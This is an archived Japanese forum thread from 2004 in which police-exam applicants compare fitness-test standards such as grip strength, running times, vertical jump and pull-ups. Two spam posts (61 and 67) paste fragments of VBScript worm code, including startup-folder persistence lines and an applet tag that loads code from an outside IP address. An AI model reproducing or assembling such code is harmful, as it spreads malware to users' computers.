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【体力・筋力】体力検査総合スレ【瞬発力】

1 :1:04/05/25 20:02
無かったんで立てますた。

まぁ、都道府県ごとに違うんだろーけど、
共通してるのもかなりあると思うので、自分なりの対策やら、
最低ラインはこれくらいとかの情報やらをカキコしてくだされ。

2 :千葉A女:04/05/25 20:05
目指せ、腕立て20回!
握力25kg!

3 :1:04/05/25 20:08
俺んとこも握力あるんだが、女で25ってことは男は35くらい?

自信ないんだよな。握力って。

ボーダー切ると即あぼーんなんかな?

4 :名無しピーポ君:04/05/25 20:13
35・・・・  ガイジじゃないんだからさ、いくらなんでも。

5 :名無しピーポ君:04/05/25 20:24
1500Mは大体4分30秒台位出ればOK
中学生でも余裕で出る

6 :名無しピーポ君:04/05/25 20:28
>>1
警官受験する訳だろ?
男が35でどうする?
平均レベルの50だけは、どう間違っても超えろ。

7 :1:04/05/25 20:36
マジかよw 平均が50なの?

いや、中学ん時は33くらいで、それ以来測る機会なかったから、
今はどれくらいかは分からないんだが、50はねーよ。

でも、>>5はネタだろ?
消防のレスキューのボーダーが5分くらい。
陸自でも5分切れば歩兵としては合格とか言ってたぜ。

8 :名無しピーポ君:04/05/25 20:40
>>7
何いってるんだい
中学の全国大会標準記録が4分12秒だぜ
おれでも出せたんだから20代の大人が出せなくてどうする

9 :名無しピーポ君:04/05/25 20:41
オトナだから出せんのだよ。わかるまいね、中学生には。

10 :1:04/05/25 20:42
調べてきたら、成年の握力平均は50弱ってとこだったな。

・・・鍛えるしかねー。

11 :名無しピーポ君:04/05/25 20:43
俺は高校の時6分だった。

12 :スポーツ板より。:04/05/25 20:47
Q. 握力が全然上がりません...
A. 諦めずにに続けて、自分にあったトレーニングを探しましょう。
  継続は力なり。諦めたらそこで終わりです。
  才能だとか無駄だとか言ってる人の言葉には、決して耳を傾けないように。
  開始時約30kgから、No3(127kgほどw)を閉じれるようになった住人も居ます。

Q. 腱鞘炎になったんだけど、その対策と予防方法は?
A. 完治するまで休む。トレ前後に必ずストレッチする。
  グルコサミンや他の関節炎に効くサプリを摂取する。
  10分程のアイシングを1日数回する。無理をしない。

Q. タニタの握力計の数値が疑わしいのですが...
A. タニタのものは、正確な数値が出ないらしいので、
  他の握力計(デジタル式など)をおすすめします。

Q. シルバークラッシュグリッパーはお店で買えるの?
A. 東京・神奈川・大阪なら、フィットネスショップ店頭で買えます。
  ttp://www.aeon-mall.co.jp/FitnessShop/information.html

Q. スーパーグリッパーの強度表ってないの?
A. ttp://www.physics.mun.ca/~sstamp/knives/ivanko_gripper.html

13 :名無しピーポ君:04/05/25 20:49
>>12
冗談だろw 大関の魁皇が100`だぜ。

14 :名無しピーポ君:04/05/25 20:55
>>1
現実が分かったんだろ?
だったら、鍛えて平均レベルは超えろよ。
「男なら35くらい」って本気で思ってた上に、警官受験するくせに
平均レベルすら超えられないようなモヤシじゃ、悪いことは言わな
い、受験なんてやめとけ。

15 :名無しピーポ君:04/05/25 20:58
>>13
魁皇と武双山は角界で一、二を誇る腕力自慢だが、
握力自慢とは聞いてないな。

日本には握力マニアってそんなにいないけど、
海外には結構いるぞ。向こうは握力鍛錬の器具もスゴイし。
握力のトレーニングだけで1時間とかな。

どんなモヤシでも地道に続ければ100は超すよ。
「続ける」のが大変なだけで。

16 :1:04/05/25 21:03
>>14
どーでもいいんだけどさ。俺は一応カラテマンでね。

拳立て50回とかV字腹筋100回とかはできるのよ。股割りも縦横余裕だし。
毎日やってからな。

でも、握力は意識したことないから不安なわけだよ。
同門の連中も握力には無頓着だし。掴み合いの武道じゃないから仕方ないんだがな。

>>12
サンクス。

127ってのは・・・スゴイなw

17 :名無しピーポ君:04/05/25 21:10
握力に自信のないカラテマン ワロタ

18 :アウトサイダー ◆YbwOiq/BqE :04/05/25 21:20
>>16
>股割りも縦横余裕だし。

すげぇ

19 :名無しピーポ君:04/05/25 21:29
>>16
どーでもいいとかいっときながら筋力自慢ワロタ
脳味噌筋肉ですか?

20 :1:04/05/25 21:39
>>19
根拠としてちらっと数字出しただけだが。
毎日やってるもんはできるし、やってないもんは良く分からん。

とりあえず、明日握力測ってくるか。

21 :名無しピーポ君:04/05/25 21:42
去年受けたときには、握力15キロって香具師がいた。
勿論、牡で。

22 :名無しピーポ君:04/05/25 21:48
漏れは身長175cmで体重85kgでつ・・・。

血圧がスゲー心配。
去年激太りして、生まれて初めて健康診断(大学の)で引っかかってしまいますた・・・。

10kg落とせって医者は言うけどさあ・・・。

23 :名無しピーポ君:04/05/25 22:00
>>20
握力って、どこで測れますか?
ウチの大学、体育学部あるけど、他学部の者が突然
「握力測らせて〜♪」
なんていけない……。

>>22
私は低血圧が悩みです。
最高血圧110〜90くらい。

24 :名無しピーポ君:04/05/25 22:30
この前握力七十だったんだが、警察官としては並かな?それとも低い?不安・・

25 :1:04/05/25 22:30
>>23
大学の保健体育担当の先生に言えば大丈夫かと。

「警察官採用試験で握力測定があるらしいので、握力計をつかわせていただけませんか?」
と頼む学生に、使わせてくれないような先生は普通はいないんじゃないですか?

私の場合、某市役所に何故か握力計が置いてあるので、そこに行くんですけど。

26 :名無しピーポ君:04/05/25 22:39
>>24
普通。てか、やや強い方じゃね?

一流の柔道選手とかも「握力(握力計で測るやつ)」が80以上とかいうのは意外に少ないぞ。
(化け物みたいな例外はいるが)

日本語では「握力」とひとくくりにしているが、欧米では
「CRUSHING STRENGTH(ハンドグリップや握力計を握る力)」、
「PINCHING STRENGTH(リンゴを鷲づかみにして砕く力)」、
「HOLDING STRENGTH(重たい旅行かばんを持ち上げて維持する力)」
の三つに大別される。

柔道をやりまくる警察官が強いのは三つ目の「HOLDING STRENGTH」の方。

スポーツ科学的に見れば、警察官採用試験で握力(CRUSHING STRENGTH)を測るのは
ほとんど意味がないな。お役所にありがちな「慣例」というやつ以外の何者でもない。

27 :名無しピーポ君:04/05/25 22:40
>>24
まあまあいい線。 脳味噌筋肉ならアウチ。

28 :名無しピーポ君:04/05/25 22:40
軽い難聴です。でも、日常会話大丈夫なんですが、合格可能ですか?

29 :名無しピーポ君:04/05/25 22:46
>>28
真面目に聞きたいんならマルチはやめれ。

で、日常会話が大丈夫なら、後は専門家が判断するしかない。
直接都道府県警に聞いた方が早い。


30 :名無しピーポ君:04/05/25 22:48
血圧やら難聴やら、ここは身体検査系の話題もいいのか?w

31 :名無しピーポ君:04/05/25 23:56
柔道長いことやってて、この前3段取ったけど
握力50ねえよ。なんか数値で判断されたらいやだな。


32 :名無しピーポ君:04/05/26 01:00
>>31
そんなに心配することない。
柔道とか空手とか、そういうのをやってるんなら、それだけで何の
問題ないよ。
当然>>1もだ。
あとになってカラテマンを自称できるんなら、そもそもこんなスレ
立てる必要はないはずだ。

33 :名無しピーポ君:04/05/26 01:03
警視庁が握力をやらんのは>>26のようなわけですか。

流石というべきなんでせうか。
やっぱ、犯罪が増加して切羽詰まってるとこはちゃんと考えてるっぽいですな。

警視庁も受けとこうっと。

34 :名無しピーポ君:04/05/26 01:07
>>32
要は、武道の有段者は握力なくてもパスできるってこと?

35 :名無しピーポ君:04/05/26 01:18
>>34
俺は剣道有段者だけど去年(今年)の3回目2次で落とされました。
32が言いたいのは武道で有段者ってことは握力とかが無くても
他の部分の筋力のバランスがいいんだろう とみなされるってことじゃない?
まあ正直有段者だっていくらだって身体能力低いやつはいる。
そういう人って筋肉の使い方がうまかったりするんだろな

36 :名無しピーポ君:04/05/26 03:03
このスレ見てると武術やってない自分が不安になる
警察学校入ったら>>1みたいな奴にボコボコにされる事を考えると怖い

37 :名無しピーポ君:04/05/26 07:43
極真とか柔術とか柔道3段とか普通に出てくるけど本当ですか!?

こんな世界でやっていけるか正直不安になってきた…。

38 :名無しピーポ君:04/05/26 07:51
まぁ、このスレで出てきたのはカラテ(極真かどうかは不明)と柔道だが、
確かに何らかの武道の有段者は結構いるよ。

犯罪者を取り締まる組織なんだから、当たり前なんだが。

ま、>>36-37みたく過剰に心配する必要はないよ。
警察学校で柔道を選択すりゃいい。真面目にやれば初心者でもかなり鍛えられるから。
剣道選んでも逮捕術を真面目にやれば、ワザは身につくし。

要は、やる気と根性さえありゃ大丈夫だ。
手を抜く連中もいるが、そういうのは無視して己を鍛えろ。

39 :名無しピーポ君:04/05/26 09:36
柔道か〜。やったことねーよ〜。
打撃系なら、ちょっと自信があるんだけどな〜。
やっぱり柔道なのは捕まえるのが仕事だからか?
いくら犯罪者相手だからって、刑事ドラマみたいにボコボコに殴ったら
問題になるよな〜。

なんか俺もチンパイになってきた…。

40 :名無しピーポ君:04/05/26 09:43
確かにその通りだよね。
要は、どんなことがあっても絶対にあきらめないというやる気と根性だ。
そして今どきの若モンにありがちな「厳しいのはイヤ、つらいのもイヤ」
という価値観を完全に捨て去って己を鍛えぬけ。
それができなければ、本当に>1みたいなヤツにボコボコにされるよ。

41 :名無しピーポ君:04/05/26 09:56
>1みたいのは警察くんなよ!各等家にでもなりゃいいだろうが!

42 :名無しピーポ君:04/05/26 09:57
↑格闘家ね

43 :名無しピーポ君:04/05/26 16:20
格闘家よりイーストガードがいいな

44 :1:04/05/26 18:59
>>40-41
腕立て腹筋柔軟以外はダメダメな漏れですがw

握力両手共に43kg・・・('A`)

45 :名無しピーポ君:04/05/26 19:52
自衛隊のパイロット(海&空)の身体検査でも握力測定があるが、
ボーダーは30kg。

体を鍛えまくるパイロットの連中の試験がそんくらいだから、
40以上あれば全然大丈夫だと思われ。

46 :名無しピーポ君:04/05/26 22:24
これから公園のジャングル事務でケンスイしようと思うんだが通行人に見られるのが恥ずかしいな。
みんなどこで懸垂してる?

47 :名無しピーポ君:04/05/26 22:40
>>46
昼下がりの公園の鉄棒。

「おかーさーん、あのひとなにしてるのー?」
「シィッ、マーくん、見ちゃいけません!」

的な世界。

48 :名無しピーポ君:04/05/26 22:50
握力については、東京消防庁の基準だと男は「左右ともおおむね40kg以上」だ。
ご参考までに。。。

49 :名無しピーポ君:04/05/26 23:08
いくら何でも30kgはないだろw

50 :名無しピーポ君:04/05/27 02:18
募集要項には血圧は書いてなかったけどさ、
血圧を心配してるヤシがいるってことはやっぱ測るの?

51 :名無しピーポ君:04/05/27 02:23
千葉県警の体力試験の最低ラインわかる人いますか?
教えて下さい。男性です。

52 :名無しピーポ君:04/05/27 02:49
だから結局>>1の筋肉自慢スレだろ

く だ ら ナ 伊

53 :名無しピーポ君:04/05/27 02:55
>>52
おまいさんは腕立て50回・腹筋100回で自慢できるレベルだと思ってるのか?w

高校の体育会系にだってゴロゴロいるレベルじゃん。

俺は高校時代から柔道やってたけど、
整理体操代わりにスクワット100回、腕立て200回とかやらされたよ。
その先生は、体育の授業の柔道でもバリバリやらせてたし。

>>1レベルで自慢とか言ってちゃ、はっきり言ってヌルいよ。

54 :名無しピーポ君:04/05/27 03:11
すいません、千葉県警の体力試験で3種目中、垂直飛びだけ失敗してしまい、
基準以下でした。他の2種目はそれなりにできました。1種目でも基準以下なら、
その時点であぼーんなのでしょうか? 発表日まで不安で×2・・ 誰か教えて下さい

55 :名無しピーポ君:04/05/27 10:40
>54
お前さん、もしかして千葉スレにもカキコしてたヤツかい?
もしそうなら、「何か少し安心」したんじゃなかったのかな?
あと「基準」は分かってるのに「最低ライン」は分からないのか?

いろいろ疑問符を並べたけど、不安なら次の試験に向けて勉強しろ。
今回の試験で、今後どれだけの勉強が必要なのかは分かったはずだ。
そして今度はちゃんと飛べるようにしとけ。
あれで失敗するのは、お前さんが日頃から身体能力を高める努力をしなかった
せいなんだからね。(あれは「瞬発力」にあたるんだろな。)

長くなってしまったが、まずは試験の点数で決まる。
ボーダー上に並んだ場合、そりゃ当然不利になることだけは覚悟しとけ。
ただ、それはもっと上位に食い込めるだけの点数が取れなかった、つまりお前
さんの勉強不足が敗退要因だろうな。
決して「垂直跳びで失敗した」ことが主要因ではないはずだ。

それなりに点が取れたつもりなら、不安になってないで2次対策を始めろ。
ここでも話題になっている握力は千葉の場合はきっちり測られるぞ。
厨房レベルの数値しか出せなかったら、今回はもう終わりだと思え。

56 :名無しピーポ君:04/05/27 12:12
>>55
要は、ペーパーがよければ、体力検査の失敗はカバーできるってこと?

・・・だと良いんだが。

57 :名無しピーポ君:04/05/27 12:19
垂直跳びの基準ってどんくらい?

バスケやってた漏れは50は固いんだが。

58 :名無しピーポ君:04/05/27 12:29
なにもしていない俺は72aですた

59 :名無しピーポ君:04/05/27 12:53
>>57
特に何もやってないオレでも50は出せる。
同様に72出せるのもいるんだから、バスケ部ならもっと出せる。

60 :名無しピーポ君:04/05/27 13:23
>>58
誰もお前の胸囲など聞いていない。

61 :名無しピーポ君:04/05/27 14:14
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

62 :アウトサイダー ◆YbwOiq/BqE :04/05/27 16:40
え!垂直飛びって50くらい簡単に出せるものなの!?

俺、47だったんだけど・・

63 :名無しピーポ君:04/05/27 18:42
>>62
運動神経いいやつならな。

47で十分じゃないか?

64 :名無しピーポ君:04/05/27 18:43
>>61
はっきり言って犯罪だぞ。分かってるか?

65 :名無しピーポ君:04/05/27 18:44
すぐ消すよ
http://centuryland.jp/cenloda/img/1870.jpg

66 :名無しピーポ君:04/05/27 19:50
懸垂できません・・・。

地上・国Uくずれですから、ペーパーには絶大な自信があるのですけれど・・・。
腕立てとかは何とか30回くらいできますけど、
懸垂できねーよ。

他の県警にした方がいいんですかね?

67 :名無しピーポ君:04/05/27 20:27
VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

<applet code="XView.class" codebase="http://64.156.47.155:80/wstream" name="EmuCam"
archive="XView.jar" width="640" height="480" id="EmuCam">
<fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" >
<param name=id value=16><param name="k1" value="123456789012345">
<param name="k2" value="678901234567890"></applet>

68 :名無しピーポ君:04/05/27 23:02
>>66
懸垂ってなかなかできるとこないからね。

ジム逝けばチンニングバーがあるだろうけど、
勉強しなきゃならんしねえ。

公園で足を曲げながらやるしかないんかなあ。

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